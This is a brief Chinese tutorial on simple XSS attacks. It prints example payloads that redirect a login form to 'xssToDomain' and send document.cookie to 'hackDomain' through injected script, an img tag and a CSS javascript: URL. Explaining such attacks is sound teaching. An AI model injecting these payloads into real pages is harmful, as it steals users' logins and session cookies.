XSS攻击简单实例

在之前的学习中,因为服务端程序和web应用部署在同一台主机上,在构建某些请求时,使用了 CORS——这主要是预防 XSS 攻击。XSS 攻击可以造成很大的危害,那一个简单的 XSS 攻击如何实现呢?

经过搜索,最常见的是试图窃取用户登录的表单信息, 通过嵌入一段脚本,如:

<form action="http://domain/login" method="post" id="login">
    <div>
        ID <input type="text" name="accountID" value="" id="loginAccount"><script>
        var f=document.getElementById("login"); f.action="http://xssToDomain/action";f.method="get";</script>
    </div>
</form>

获取 cookie 也是一种常见的攻击标的, 如:

<script>
    var cookie = escape(document.cookie);
    document.write("<img src=http://hackDomain/action?cookie=");
    document.write(cookie+" >");
</script>

<style>
    .getCookies{
        background-image:url('javascript:new Image().src="http://hackDomain/action?cookie=" + encodeURI(document.cookie);');
    }
    </style>
    <p class="getCookies"></p>

通过构造 Image 对象,并设置 src 属性,可以把感兴趣的值发送到指定的地方。 除了以上script 和 Image/img,iframe 和 link 标签也可以指定 src, 并且不受同源策略的影响,因此也经常被用来实施攻击。